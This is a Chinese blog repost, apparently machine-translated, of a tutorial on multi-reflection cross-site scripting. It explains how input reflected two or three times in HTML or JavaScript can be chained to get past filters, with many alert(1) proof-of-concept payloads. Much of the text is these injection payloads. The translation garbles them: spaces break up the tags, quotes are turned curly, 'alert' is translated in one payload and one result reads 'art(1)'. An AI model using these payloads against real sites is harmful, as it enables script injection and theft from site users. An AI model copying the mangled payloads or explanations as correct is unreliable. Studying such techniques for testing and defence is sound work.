• 【XSS技巧拓展】————23、多反射型XSS


    通常在网站中查找XSS时,我们会看到源代码中输入的不止一个反射,这对于绕过几种类型的过滤器非常有用。让我们从一个非常简单的方法开始,了解我们可以使用相同的有效负载进行多少次反射:

    <svg onload = write(1) >

    示例:Example: French Wikipedia Website => 11111111 (8 times).

    为了在基于标记的注入中使用这些事件,我们有以下内容(使用输入和结果解析向量):

    双反射 - 单输入

    1)p ='onload = alert(1)> <svg / 1 ='

    第一次反射的<svg / 1 ='部分将启动标记并打开一个假属性,直到它找到另一个单引号来关闭它,在第二次反射中,使用'onload = alert(1)>。当然,在两次出现之间不能有单引号(通常源的纯HTML部分仅使用双引号)。

    'onload = alert(1)> <svg / 1 ='

    ...... [代码] ......

    'onload = alert(1)> <svg / 1 ='

    双反射 - 单输入(基于脚本)

    1)p ='> alert(1)</ script> <script / 1 ='
          或
    2)p = * / alert(1)</ script> <script> / *

    这对于使用脚本标记的注入是有效的,但为了避免等号,我们有一个额外的结构,使用javascript注释。不幸的是,当两个反射之间存在本机脚本块时,这不起作用,因为本机</ script>会破坏我们的连接。

    * / alert(1)</ script> <script> / *

    ...... [代码] ......

    * / alert(1)</ script> <script> / *

    三重反射 - 单输入

    1)p = * / alert(1)“>'onload =”/ * <svg / 1 ='
          或
    2)p =`-alert(1)“>'onload =”`<svg / 1 ='

    三重反射更复杂,因为在源代码中这3个部分之间具有正确的条件需要一点点运气。此外,我们必须依赖新引入的反引号(`)来在javascript中进行字符串分隔,这在某些情况下可能会出现问题。

    `-alert(1)“>'onload =”` <svg / 1 ='

    ...... [代码] ......

    `-alert(1)“> 'onload =”` <svg / 1 ='

    ...... [代码] ......

    `-alert(1)“> 'onload =”`<svg / 1 ='

    三重反射 - 单输入(基于脚本)

    1)p = * / </ script>'> alert(1)/ * <script / 1 ='

    也很复杂,因为我们有一个现有</ script>破坏我们语法的双重可能性,虽然我们不必处理双引号的可能性(通常在源代码中的任何地方)像前一种情况一样打破我们的注入。

    * / </ script>'> alert(1)/ * <script / 1 ='

    ...... [代码] ......

    * / </ script> '> alert(1)/ * <script / 1 ='

    ...... [代码] ......

    * / </ script> '> alert(1)/ * <script / 1 ='

    多重反射 - 多输入

    我们也可能通过2,3或更多不同的输入出现反射。这是最好的方案,甚至可以绕过主要浏览器的反XSS解决方案。

    2输入:

    P = <SVG / 1 = '&Q =' 的onload =警报(1)>

    3输入:

    p = <svg 1 ='&q ='onload ='/ *&r = * / alert(1)'>

    Javascript代码中的多重反射

    通常,当我们直接在javascript代码片段中进行反射时,利用非常简单并且不需要使用另一个反射。

    然而,至少有一种情况可能有用。

    请使用以下单行代码:

    var n = {a:“$ p”,b:“$ p”};
    (双反射,单输入$ p)

    var n = {a:“$ p”,b:“$ q”};
    (双反射,双输入$ p和$ q)

    即使正确编码或转义双引号以及小于符号(以防止使用</ script>打破javascript块),也可以利用这两个示例:

    INPUT
    p = -alert(1)} //

    RESULT *
    var n = {a:“ - - art(1)} // ”,b: “ - alert(1)} // ”};

    INPUT
    p = &q = -alert(1)//

    结果*
    var n = {a:“ ”,b: “ - alert(1)} // ”};

    * blue是“a”的值,red是“out-value”区域。

    看到它在这里工作。

    反斜杠()转义用于关闭第一个命名值“a”的双引号,然后该值将仅在下一个双引号上结束,第二个引号是第二个命名值“b”。以这种方式,应该是一个值,实际上成为要执行的代码(“alert(1)”),连接到命名值“a”。最后,为了避免语法错误,我们用“}”关闭变量“n”并注释其余的本机代码。

    还有混合的情况,在单个或多个输入的同时在HTML和javascript内部发生反射。在我的私人推特账号@brutalsecrets中,有一个关于最后一种利用的奇怪案例,这可能是撤销和警报弹出之间的区别。

    #hack2learn

    总会有不期而遇的温暖. 和生生不息的希望。
  • 相关阅读:
    搜索入门
    计算几何基础
    对“学生自行组队,共同完成实验”的一些思考感慨
    20145213《信息安全系统设计》第十一周学习总结
    20145213《信息安全系统设计基础》第十周学习总结
    记与舍友摩擦的一两事儿
    20145213《信息安全系统设计》第九周学习总结下篇
    20145213《信息安全基础设计》第九周学习总结上篇
    20145213《信息安全设计系统》实验报告一
    20145213《信息安全系统设计基础》第八周学习总结下篇
  • 原文地址:https://www.cnblogs.com/devi1/p/13486392.html
Copyright © 2020-2023  润新知